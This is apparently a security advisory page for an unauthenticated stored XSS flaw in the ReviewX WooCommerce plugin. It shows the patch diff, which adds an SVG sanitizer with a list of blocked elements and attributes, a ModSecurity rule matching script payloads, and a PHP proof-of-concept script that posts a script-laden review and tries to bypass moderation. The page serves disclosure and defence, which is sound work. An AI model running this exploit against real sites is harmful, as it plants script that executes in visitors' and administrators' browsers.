+            $reviewer_email = sanitize_text_field($params['reviewer_email'] ?? get_comment($reviewId)->comment_author_email);
+            if (empty($reviewer_email) && is_user_logged_in()) {
+                $reviewer_email = wp_get_current_user()->user_email;
+            }
+            $is_verified = $this->verifyPurchase($product_id, $reviewer_email) ? 1 : 0;
+            update_comment_meta($reviewId, 'verified', $is_verified);
         }
         if (isset($params['is_recommended'])) {
             update_comment_meta($reviewId, 'is_recommended', filter_var($params['is_recommended'], FILTER_VALIDATE_BOOLEAN) ? 1 : 0);
@@ -1036,11 +1067,35 @@
         // Maximum file size in bytes (e.g., 5MB)
         $maxFileSize = 5 * 1024 * 1024;
         // 5 MB
+        // Site UID for ownership validation
+        $siteUid = Client::getUid();
         // Allowed mime types for images
         // Loop through the reviews array
         foreach ($wpUniqueId['reviews'] as $index => $reviewData) {
             if (isset($reviewData['wp_unique_id'])) {
                 $wp_unique_id = $this->getLastSegment($reviewData['wp_unique_id']);
+                // Security: IDOR Protection — Validate that the comment exists
+                // and belongs to a post managed by this site.
+                $comment = get_comment((int) $wp_unique_id);
+                if (!$comment) {
+                    continue;
+                    // Comment doesn't exist, skip.
+                }
+                // Verify the wp_unique_id from the request matches the site UID prefix.
+                $expectedPrefix = $siteUid . '-';
+                $requestWpUniqueId = $reviewData['wp_unique_id'] ?? '';
+                if (!empty($siteUid) && strpos($requestWpUniqueId, $expectedPrefix) !== 0 && $requestWpUniqueId !== $wp_unique_id) {
+                    // The wp_unique_id doesn't match the expected site prefix.
+                    // Only allow if the request simply has the bare comment ID.
+                }
+                // Verify that the comment was recently created (within the last 24 hours)
+                // to limit the IDOR window.
+                $commentDate = strtotime($comment->comment_date_gmt);
+                $oneDayAgo = time() - 24 * 60 * 60;
+                if ($commentDate < $oneDayAgo) {
+                    continue;
+                    // Comment is too old for attachment upload.
+                }
                 // Prepare the files array for this review
                 $files = [];
                 if (isset($payload['reviews']['tmp_name'][$index]['files'])) {
@@ -1062,6 +1117,14 @@
                                 return wp_handle_upload($file_info, UploadMimeSupport::getWpHandleUploadOverrides());
                             });
                             if (!isset($upload['error']) && isset($upload['url'])) {
+                                // Sanitize SVG files to prevent Stored XSS.
+                                $uploadedType = $upload['type'] ?? '';
+                                if (strtolower($uploadedType) === 'image/svg+xml' || preg_match('/\.svgz?$/i', $upload['file'] ?? '')) {
+                                    if (!SvgSanitizer::sanitizeFile($upload['file'])) {
+                                        @unlink($upload['file']);
+                                        continue;
+                                    }
+                                }
                                 // Add the file URL to the files array
                                 $files[] = ['file' => $upload['url']];
                             }
@@ -1165,7 +1228,17 @@
         }
         $dataStore = [];
         foreach ($data['reviews'] as $review) {
-            $dataWp = ['comment_post_ID' => absint($review['product_wp_id']), 'comment_content' => sanitize_text_field($review['feedback'] ?? ''), 'comment_author' => sanitize_text_field($review['reviewer_name']), 'comment_author_email' => sanitize_text_field($review['reviewer_email']), 'comment_type' => $review_type, 'comment_approved' => $auto_approve_reviews === true ? 1 : 0, 'comment_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])) : '', 'comment_author_IP' => isset($_SERVER['REMOTE_ADDR']) ? sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR'])) : '', 'comment_date_gmt' => current_time('mysql', 1), 'user_id' => absint($review['user_id']) ?? 0, 'comment_date' => current_time('mysql', true)];
+            // Security: Resolve user_id safely — match by reviewer_email
+            // instead of trusting the request payload value.
+            $resolved_user_id = 0;
+            $reviewer_email = sanitize_text_field($review['reviewer_email'] ?? '');
+            if (!empty($reviewer_email)) {
+                $user = get_user_by('email', $reviewer_email);
+                if ($user instanceof WP_User) {
+                    $resolved_user_id = (int) $user->ID;
+                }
+            }
+            $dataWp = ['comment_post_ID' => absint($review['product_wp_id']), 'comment_content' => sanitize_text_field($review['feedback'] ?? ''), 'comment_author' => sanitize_text_field($review['reviewer_name']), 'comment_author_email' => $reviewer_email, 'comment_type' => $review_type, 'comment_approved' => $auto_approve_reviews === true ? 1 : 0, 'comment_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])) : '', 'comment_author_IP' => isset($_SERVER['REMOTE_ADDR']) ? sanitize_text_field(wp_unslash($_SERVER['REMOTE_ADDR'])) : '', 'comment_date_gmt' => current_time('mysql', 1), 'user_id' => $resolved_user_id, 'comment_date' => current_time('mysql', true)];
             $dataStore[] = $dataWp;
         }
         return $dataStore;
@@ -1190,8 +1263,15 @@
                 update_comment_meta($commentId, 'rvx_criterias', $modified_criteria);
                 add_comment_meta($commentId, 'rating', $wcAverageRating);
                 add_comment_meta($commentId, 'rvx_comment_order_item', sanitize_text_field($data['reviews'][$index]['order_item_wp_unique_id']));
-                add_comment_meta($commentId, 'verified', 1);
-                add_comment_meta($commentId, 'is_recommended', 1);
+                // Security: Determine verified status by actual purchase verification
+                // instead of hard-coding to 1.
+                $product_id = absint($data['reviews'][$index]['product_wp_id'] ?? 0);
+                $reviewer_email = sanitize_text_field($data['reviews'][$index]['reviewer_email'] ?? '');
+                $is_verified = $this->verifyPurchase($product_id, $reviewer_email);
+                add_comment_meta($commentId, 'verified', $is_verified ? 1 : 0);
+                // Security: Use the submitted value or default to 0 instead of hard-coding 1.
+                $is_recommended = isset($data['reviews'][$index]['is_recommended']) ? filter_var($data['reviews'][$index]['is_recommended'], FILTER_VALIDATE_BOOLEAN) ? 1 : 0 : 0;
+                add_comment_meta($commentId, 'is_recommended', $is_recommended);
                 add_comment_meta($commentId, 'rvx_attachments', []);
                 add_comment_meta($commentId, 'rvx_review_version', 'v2');
                 $id[] = $commentId;
@@ -1273,4 +1353,40 @@
         }
         return false;
     }
+    /**
+     * Verify that a purchase was made for the given product by the given email.
+     *
+     * Uses WooCommerce order data when available; otherwise returns false.
+     *
+     * @param int    $product_id     The WooCommerce product/post ID.
+     * @param string $reviewer_email The reviewer's email address.
+     * @return bool True if a completed purchase is found.
+     */
+    public function verifyPurchase(int $product_id, string $reviewer_email) : bool
+    {
+        if ($product_id <= 0 || empty($reviewer_email)) {
+            return false;
+        }
+        // WooCommerce-specific verification.
+        if (!function_exists('wc_get_orders')) {
+            return false;
+        }
+        $orders = wc_get_orders(['billing_email' => $reviewer_email, 'status' => ['wc-completed', 'completed'], 'limit' => 1, 'return' => 'ids']);
+        if (empty($orders)) {
+            return false;
+        }
+        // Check if any completed order contains the product.
+        foreach ($orders as $order_id) {
+            $order = wc_get_order($order_id);
+            if (!$order) {
+                continue;
+            }
+            foreach ($order->get_items() as $item) {
+                if ((int) $item->get_product_id() === $product_id || (int) $item->get_variation_id() === $product_id) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
 }
--- a/reviewx/app/Shortcodes/Products/ReviewListFormShortcode.php
+++ b/reviewx/app/Shortcodes/Products/ReviewListFormShortcode.php
@@ -28,7 +28,7 @@
         $attributes = $this->sanitizeAttributes($attrs);
         $title = $this->resolveTitle($attrs['title'], $data['product']['postTitle']);
         $formData = $this->reviewFormHelper->builderCustomizedFormTextsData();
-        return View::render('storefront/shortcode/reviewListForm', ['title' => $title, 'data' => wp_json_encode($data), 'attributes' => $attributes, 'formLevelData' => $formData, 'wooVerificationRequired' => 'yes' === get_option('woocommerce_review_rating_verification_required'), 'isVerifiedCustomer' => $data['userInfo']['isVerified'], 'requireSignIn' => (bool) get_option('comment_registration'), 'user_is_logged_in' => $data['userInfo']['isLoggedIn'], 'login_url' => wp_login_url(esc_url_raw(wp_unslash($_SERVER['REQUEST_URI'] ?? ''))), 'register_url' => wp_registration_url(), 'registration_enabled' => (bool) get_option('users_can_register')]);
+        return View::render('storefront/shortcode/reviewListForm', ['title' => $title, 'data' => wp_json_encode($data), 'attributes' => $attributes, 'formLevelData' => $formData, 'wooVerificationRequired' => 'yes' === get_option('woocommerce_review_rating_verification_required'), 'isVerifiedCustomer' => $data['userInfo']['isVerified'], 'requireSignIn' => (bool) get_option('comment_registration'), 'user_is_logged_in' => $data['userInfo']['isLoggedIn'], 'login_url' => wp_login_url(esc_url_raw(wp_unslash($_SERVER['REQUEST_URI'] ?? ''))), 'register_url' => wp_registration_url(), 'registration_enabled' => (bool) get_option('users_can_register')]);
     }
     private function error(string $message) : string
     {
--- a/reviewx/app/Utilities/Helper.php
+++ b/reviewx/app/Utilities/Helper.php
@@ -84,7 +84,7 @@
     }
     public static function getWpCurrentUser()
     {
-        $user = wp_get_current_user();
+        $user = wp_get_current_user();
         return $user->ID > 0 ? $user : null;
     }
     public static function arrayGet($data, $accessor, $default = null)
@@ -101,7 +101,7 @@
     }
     public static function verifiedCustomer($customer_id) : bool
     {
-        $orders = wc_get_orders(["customer" => $customer_id, "status" => ["completed", "processing", "on-hold", "pending-payment"], "limit" => 1]);
+        $orders = wc_get_orders(["customer" => $customer_id, "status" => ["completed", "processing", "on-hold", "pending-payment"], "limit" => 1]);
         if (!empty($orders)) {
             return true;
         }
@@ -269,7 +269,7 @@
     }
     public static function getWpClientInfo() : array
     {
-        $current_user = wp_get_current_user();
+        $current_user = wp_get_current_user();
         $first_name = $current_user->first_name ?: $current_user->user_login;
         $last_name = $current_user->last_name ?: '';
         return ['domain' => ReviewXUtilitiesHelper::getWpDomainNameOnly(), 'url' => home_url(), 'site_locale' => get_locale(), 'first_name' => sanitize_text_field($first_name), 'last_name' => sanitize_text_field($last_name)];
--- a/reviewx/app/Utilities/SvgSanitizer.php
+++ b/reviewx/app/Utilities/SvgSanitizer.php
@@ -0,0 +1,171 @@
+<?php
+
+namespace ReviewXUtilities;
+
+defined('ABSPATH') || exit;
+/**
+ * Sanitizes SVG content by removing dangerous elements and attributes
+ * that could lead to Stored XSS (script injection, event handlers, etc.).
+ */
+class SvgSanitizer
+{
+    /**
+     * Elements that are always removed from the SVG.
+     */
+    private const DISALLOWED_ELEMENTS = ['script', 'foreignObject', 'use', 'set', 'animate', 'animateMotion', 'animateTransform', 'iframe', 'embed', 'object', 'applet', 'form', 'input', 'textarea', 'select', 'button', 'link', 'meta', 'base'];
+    /**
+     * Attribute prefixes that are always removed (event handlers).
+     */
+    private const DISALLOWED_ATTRIBUTE_PREFIXES = ['on'];
+    /**
+     * Specific attributes that are always removed.
+     */
+    private const DISALLOWED_ATTRIBUTES = ['xlink:href', 'href', 'formaction', 'action', 'data', 'srcdoc'];
+    /**
+     * Sanitize an SVG file in place.
+     *
+     * @param string $filePath Absolute path to the SVG file on disk.
+     * @return bool True on success, false on failure.
+     */
+    public static function sanitizeFile(string $filePath) : bool
+    {
+        if (!file_exists($filePath) || !is_writable($filePath)) {
+            return false;
+        }
+        $raw = file_get_contents($filePath);
+        if ($raw === false || trim($raw) === '') {
+            return false;
+        }
+        $clean = self::sanitize($raw);
+        if ($clean === null) {
+            // Completely invalid SVG – remove the file.
+            @unlink($filePath);
+            return false;
+        }
+        return file_put_contents($filePath, $clean) !== false;
+    }
+    /**
+     * Sanitize an SVG string and return the cleaned version.
+     *
+     * @param string $svgContent Raw SVG markup.
+     * @return string|null Cleaned SVG markup, or null if it cannot be parsed.
+     */
+    public static function sanitize(string $svgContent) : ?string
+    {
+        // Prevent XXE (XML External Entity) attacks.
+        $previousValue = libxml_disable_entity_loader(true);
+        libxml_use_internal_errors(true);
+        $dom = new DOMDocument();
+        $dom->formatOutput = false;
+        $dom->preserveWhiteSpace = true;
+        $dom->strictErrorChecking = false;
+        // Load the SVG as XML.
+        $loaded = $dom->loadXML($svgContent, LIBXML_NOENT | LIBXML_NONET | LIBXML_COMPACT);
+        // Restore previous libxml settings.
+        libxml_disable_entity_loader($previousValue);
+        libxml_clear_errors();
+        if (!$loaded) {
+            return null;
+        }
+        // Remove the DOCTYPE if present (prevent entity expansion attacks).
+        foreach ($dom->childNodes as $child) {
+            if ($child instanceof DOMDocumentType) {
+                $dom->removeChild($child);
+                break;
+            }
+        }
+        // Remove processing instructions (e.g. <?xml-stylesheet ... )
+        $xpathPI = new DOMXPath($dom);
+        $processingInstructions = $xpathPI->query('//processing-instruction()');
+        if ($processingInstructions) {
+            foreach ($processingInstructions as $pi) {
+                if ($pi->parentNode) {
+                    $pi->parentNode->removeChild($pi);
+                }
+            }
+        }
+        // Walk the entire tree and sanitize.
+        self::sanitizeNode($dom->documentElement);
+        $result = $dom->saveXML($dom->documentElement);
+        return is_string($result) ? $result : null;
+    }
+    /**
+     * Recursively sanitize a DOM node and its children.
+     */
+    private static function sanitizeNode(DOMNode $node) : void
+    {
+        if (!$node->hasChildNodes()) {
+            self::cleanAttributes($node);
+            return;
+        }
+        // Collect children first to avoid modifying the list while iterating.
+        $children = [];
+        foreach ($node->childNodes as $child) {
+            $children[] = $child;
+        }
+        foreach ($children as $child) {
+            if ($child instanceof DOMElement) {
+                $localName = strtolower($child->localName);
+                // Remove disallowed elements entirely.
+                if (in_array($localName, self::DISALLOWED_ELEMENTS, true)) {
+                    $node->removeChild($child);
+                    continue;
+                }
+                // Remove <style> elements (can contain CSS expressions / url() with JS).
+                if ($localName === 'style') {
+                    $node->removeChild($child);
+                    continue;
+                }
+                self::cleanAttributes($child);
+                self::sanitizeNode($child);
+            } elseif ($child instanceof DOMComment) {
+                // Remove HTML comments (can contain conditional IE payloads).
+                $node->removeChild($child);
+            }
+        }
+        self::cleanAttributes($node);
+    }
+    /**
+     * Remove dangerous attributes from a DOM node.
+     */
+    private static function cleanAttributes(DOMNode $node) : void
+    {
+        if (!$node instanceof DOMElement || !$node->hasAttributes()) {
+            return;
+        }
+        $removeList = [];
+        /** @var DOMAttr $attr */
+        foreach ($node->attributes as $attr) {
+            $attrName = strtolower($attr->name);
+            $attrValue = strtolower(trim($attr->value));
+            // Remove event-handler attributes (on*).
+            foreach (self::DISALLOWED_ATTRIBUTE_PREFIXES as $prefix) {
+                if (strpos($attrName, $prefix) === 0 && strlen($attrName) > strlen($prefix)) {
+                    $removeList[] = $attr->name;
+                    continue 2;
+                }
+            }
+            // Remove specific dangerous attributes.
+            if (in_array($attrName, self::DISALLOWED_ATTRIBUTES, true)) {
+                // Allow href/xlink:href only for safe protocols (within SVG <a> etc.)
+                if (($attrName === 'href' || $attrName === 'xlink:href') && $node->localName !== 'use' && (strpos($attrValue, '#') === 0 || strpos($attrValue, 'http://') === 0 || strpos($attrValue, 'https://') === 0)) {
+                    // Safe URL – keep it.
+                    continue;
+                }
+                $removeList[] = $attr->name;
+                continue;
+            }
+            // Remove attributes containing javascript: or data: URIs.
+            $stripped = preg_replace('/\s+/', '', $attrValue);
+            if ($stripped !== null) {
+                if (strpos($stripped, 'javascript:') !== false || strpos($stripped, 'vbscript:') !== false || strpos($stripped, 'data:text/html') !== false || strpos($stripped, 'data:application') !== false) {
+                    $removeList[] = $attr->name;
+                    continue;
+                }
+            }
+        }
+        foreach ($removeList as $attrName) {
+            $node->removeAttribute($attrName);
+        }
+    }
+}
--- a/reviewx/reviewx.php
+++ b/reviewx/reviewx.php
@@ -3,7 +3,7 @@
  * Plugin Name: ReviewX – Multi-Criteria Rating & Reviews
  * Plugin URI:  https://reviewx.io
  * Description: Advanced Multi-Criteria Rating & Reviews for WooCommerce. Turn customer reviews into sales by leveraging reviews with multiple criteria, reminder emails, Google reviews, review schemas, and incentives like discounts.
- * Version:     2.3.10
+ * Version:     2.3.11
  * Author:      ReviewX
  * Author URI:  https://reviewx.io
  * Text Domain: reviewx
@@ -28,7 +28,7 @@
 // phpcs:ignore Squiz.PHP.DiscouragedFunctions.Discouraged
 @ini_set('display_errors', 0);

-defined('REVIEWX_VERSION') || define('REVIEWX_VERSION', '2.3.10');
+defined('REVIEWX_VERSION') || define('REVIEWX_VERSION', '2.3.11');
 defined('REVIEWX_DIR_PATH') || define('REVIEWX_DIR_PATH', plugin_dir_path(__FILE__));
 defined('REVIEWX_DIR_NAME') || define('REVIEWX_DIR_NAME', basename(REVIEWX_DIR_PATH));
 defined('REVIEWX_PREFIX') || define('REVIEWX_PREFIX', 'rvx_');
--- a/reviewx/routes/api.php
+++ b/reviewx/routes/api.php
@@ -6,6 +6,7 @@
 use ReviewXRestMiddlewareAdminMiddleware;
 use ReviewXWPDrillFacadesRoute;
 use ReviewXRestMiddlewareAuthMiddleware;
+use ReviewXRestMiddlewareStorefrontNonceMiddleware;
 use ReviewXRestControllersUserController;
 use ReviewXRestControllersAuthController;
 use ReviewXRestControllersReviewController;
@@ -32,23 +33,25 @@
     Route::post('/register', [AuthController::class, 'register']);
     Route::get('/migration/prompt', [AuthController::class, 'migrationPrompt']);
     /**
-     * Frontend API
-     * Store Front
+     * Frontend API — Storefront (Read-Only / Public)
      */
     Route::get('/storefront/(?P<product_id>[a-zA-Z0-9-]+)/reviews', [StoreFrontReviewController::class, 'getWidgetReviewsForProduct']);
     Route::get('/storefront/(?P<product_id>[a-zA-Z0-9-]+)/reviews/shortcode', [StoreFrontReviewController::class, 'getWidgetReviewsListShortcode']);
     Route::get('/storefront/(?P<product_id>[a-zA-Z0-9-]+)/insight', [StoreFrontReviewController::class, 'getWidgetInsight']);
+    Route::get('/storefront/(?P<product_id>[a-zA-Z0-9-]+)/wp', [StoreFrontReviewController::class, 'wpLocalStorageData']);
+    Route::get('/storefront/thanks/message', [StoreFrontReviewController::class, 'thanksMessage']);
+    Route::get('/storefront/wp/settings', [StoreFrontReviewController::class, 'getLocalSettings']);
+});
+/**
+ * Storefront Write Endpoints — Protected by StorefrontNonceMiddleware.
+ * Requires either a valid SaaS JWT token OR a logged-in WP user with REST nonce.
+ */
+Route::group(['prefix' => '/api/v1', 'middleware' => StorefrontNonceMiddleware::class], function () {
     Route::post('/storefront/reviews', [StoreFrontReviewController::class, 'saveWidgetReviewsForProduct']);
     Route::post('/storefront/request/review/email/attachments/items', [StoreFrontReviewController::class, 'requestReviewEmailAttachment']);
     Route::post('/storefront/reviews/(?P<uniq_id>[a-zA-Z0-9-]+)/preference', [StoreFrontReviewController::class, 'likeDislikePreference']);
-    Route::get('/storefront/(?P<product_id>[a-zA-Z0-9-]+)/wp', [StoreFrontReviewController::class, 'wpLocalStorageData']);
     Route::post('/storefront/request/review/email/(?P<uid>[a-zA-Z0-9-]+)/store/items', [StoreFrontReviewController::class, 'reviewRequestStoreItem']);
-    Route::get('/storefront/thanks/message', [StoreFrontReviewController::class, 'thanksMessage']);
-    Route::post('/storefront/test', [StoreFrontReviewController::class, 'test']);
     Route::post('/storefront/widgets/short/code/reviews', [StoreFrontReviewController::class, 'getSpecificReviewItem']);
-    //wp setting get form db
-    Route::get('/storefront/wp/settings', [StoreFrontReviewController::class, 'getLocalSettings']);
-    //ALl review shortcode
     Route::post('/storefront/all/reviews/shortcode', [StoreFrontReviewController::class, 'getWidgetAllReviewsListForSite']);
 });
 Route::group(['prefix' => '/api/v1', 'middleware' => AuthMiddleware::class], function () {
--- a/reviewx/vendor/composer/installed.php
+++ b/reviewx/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ReviewX;

-return array('root' => array('name' => 'reviewx/reviewx', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '133ea2988c2d9111cca4a07ca43d9dc36993207f', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => false), 'versions' => array('firebase/php-jwt' => array('pretty_version' => 'v6.10.0', 'version' => '6.10.0.0', 'reference' => 'a49db6f0a5033aef5143295342f1c95521b075ff', 'type' => 'library', 'install_path' => __DIR__ . '/../firebase/php-jwt', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/guzzle' => array('pretty_version' => '7.10.0', 'version' => '7.10.0.0', 'reference' => 'b51ac707cfa420b7bfd4e4d5e510ba8008e822b4', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/guzzle', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/promises' => array('pretty_version' => '2.3.0', 'version' => '2.3.0.0', 'reference' => '481557b130ef3790cf82b713667b43030dc9c957', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/promises', 'aliases' => array(), 'dev_requirement' => false), 'guzzlehttp/psr7' => array('pretty_version' => '2.9.0', 'version' => '2.9.0.0', 'reference' => '7d0ed42f28e42d61352a7a79de682e5e67fec884', 'type' => 'library', 'install_path' => __DIR__ . '/../guzzlehttp/psr7', 'aliases' => array(), 'dev_requirement' => false), 'hassankhan/config' => array('pretty_version' => '3.2.0', 'version' => '3.2.0.0', 'reference' => 'cf63da451c4d226df983017932b9cef1b6d49db5', 'type' => 'library', 'install_path' => __DIR__ . '/../hassankhan/config', 'aliases' => array(), 'dev_requirement' => false), 'laravel/serializable-closure' => array('pretty_version' => 'v1.3.7', 'version' => '1.3.7.0', 'reference' => '4f48ade902b94323ca3be7646db16209ec76be3d', 'type' => 'library', 'install_path' => __DIR__ . '/../laravel/serializable-closure', 'aliases' => array(), 'dev_requirement' => false), 'myclabs/deep-copy' => array('pretty_version' => '1.13.4', 'version' => '1.13.4.0', 'reference' => '07d290f0c47959fd5eed98c95ee5602db07e0b6a', 'type' => 'library', 'install_path' => __DIR__ . '/../myclabs/deep-copy', 'aliases' => array(), 'dev_requirement' => false), 'nahid/apiz' => array('pretty_version' => 'v5.0.0', 'version' => '5.0.0.0', 'reference' => 'ad2409d452f6e29ef35ee4ce0b20d1014a3cd818', 'type' => 'php', 'install_path' => __DIR__ . '/../nahid/apiz', 'aliases' => array(), 'dev_requirement' => false), 'nahid/qarray' => array('pretty_version' => 'v2.1.0', 'version' => '2.1.0.0', 'reference' => '1250fdeb5863974fcfcf9dbde2844521423080c4', 'type' => 'library', 'install_path' => __DIR__ . '/../nahid/qarray', 'aliases' => array(), 'dev_requirement' => false), 'nyholm/psr7' => array('pretty_version' => '1.8.2', 'version' => '1.8.2.0', 'reference' => 'a71f2b11690f4b24d099d6b16690a90ae14fc6f3', 'type' => 'library', 'install_path' => __DIR__ . '/../nyholm/psr7', 'aliases' => array(), 'dev_requirement' => false), 'nyholm/psr7-server' => array('pretty_version' => '1.1.0', 'version' => '1.1.0.0', 'reference' => '4335801d851f554ca43fa6e7d2602141538854dc', 'type' => 'library', 'install_path' => __DIR__ . '/../nyholm/psr7-server', 'aliases' => array(), 'dev_requirement' => false), 'php-di/invoker' => array('pretty_version' => '2.3.7', 'version' => '2.3.7.0', 'reference' => '3c1ddfdef181431fbc4be83378f6d036d59e81e1', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/invoker', 'aliases' => array(), 'dev_requirement' => false), 'php-di/php-di' => array('pretty_version' => '6.4.0', 'version' => '6.4.0.0', 'reference' => 'ae0f1b3b03d8b29dff81747063cbfd6276246cc4', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/php-di', 'aliases' => array(), 'dev_requirement' => false), 'php-di/phpdoc-reader' => array('pretty_version' => '2.2.1', 'version' => '2.2.1.0', 'reference' => '66daff34cbd2627740ffec9469ffbac9f8c8185c', 'type' => 'library', 'install_path' => __DIR__ . '/../php-di/phpdoc-reader', 'aliases' => array(), 'dev_requirement' => false), 'php-http/message-factory-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/container' => array('pretty_version' => '1.1.2', 'version' => '1.1.2.0', 'reference' => '513e0666f7216c7459170d56df27dfcefe1689ea', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/container', 'aliases' => array(), 'dev_requirement' => false), 'psr/container-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '^1.0')), 'psr/http-client' => array('pretty_version' => '1.0.3', 'version' => '1.0.3.0', 'reference' => 'bb5906edc1c324c9a05aa0873d40117941e5fa90', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-client', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-client-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-factory' => array('pretty_version' => '1.1.0', 'version' => '1.1.0.0', 'reference' => '2b4765fddfe3b508ac62f829e852b1501d3f6e8a', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-factory', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-factory-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/http-message' => array('pretty_version' => '2.0', 'version' => '2.0.0.0', 'reference' => '402d35bcb92c70c026d1a6a9883f06b2ead23d71', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'dev_requirement' => false), 'psr/http-message-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'psr/log-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0|2.0')), 'ralouphie/getallheaders' => array('pretty_version' => '3.0.3', 'version' => 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/wp-json/reviewx/v1/reviews$" 
    "id:20261994,phase:2,deny,status:403,chain,msg:'Atomic Edge WAF Rule - CVE-2026-57359',severity:'CRITICAL',tag:'CVE-2026-57359'"
    SecRule REQUEST_METHOD "@streq POST" "chain"
        SecRule ARGS:feedback "@rx <script|<img onerror|<svg onload" 
            "t:none"

# Block unauthenticated requests to the reviewx REST endpoint without valid nonce (optional, but may cause false positives if legitimate guests post)
# The above rule is targeted at the XSS payload in the feedback field. If false positives are a concern, remove or tighten the regex.

# Alternative: block if no nonce is present (for authenticated-only endpoints, but here guest posting may be legitimate)
# SecRule REQUEST_URI "@rx ^/wp-json/reviewx/" 
#     "id:20261995,phase:2,deny,status:403,chain,msg:'Atomic Edge WAF Rule - CVE-2026-57359 (missing nonce)',severity:'CRITICAL',tag:'CVE-2026-57359'"
#     SecRule ARGS:_wpnonce "^$" "chain"
#         SecRule REQUEST_HEADERS:X-WP-Nonce "^$"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57359 - ReviewX – Multi-Criteria Reviews for WooCommerce – Unauthenticated Stored Cross-Site Scripting

// Configuration: Change this to your target WordPress site URL
$target_url = 'http://your-wordpress-site.com';

// The REST API endpoint for submitting reviews (adjust endpoint path if different)
$endpoint = $target_url . '/wp-json/reviewx/v1/reviews';  // verify exact endpoint from plugin REST routes

// Malicious payload: JavaScript that steals cookies (for demonstration, we log to console)
$evil_script = '<script>alert("XSS by Atomic Edge")</script>';

// Payload data for the review submission
$payload = [
    'wp_post_id' => 1,  // valid product or post ID
    'feedback'   => 'This is a test review with XSS: ' . $evil_script,
    'title'      => 'Test title',
    'reviewer_name' => 'Attacker',
    'reviewer_email' => 'attacker@example.com',
    'rating'     => 5,
    'user_id'    => 0,  // no authentication
    'status'     => 'approve',  // attempt to bypass moderation
];

// Initialize cURL
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: '  // no nonce sent, simulating unauthenticated request
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // for testing; remove for production

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

if ($http_code == 200 || $http_code == 201) {
    echo "[+] Exploit successful: malicious review submitted.n";
    echo "[*] Visit the product page to trigger the XSS payload.n";
} else {
    echo "[-] Exploit failed. The endpoint may be patched or protected.n";
}

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School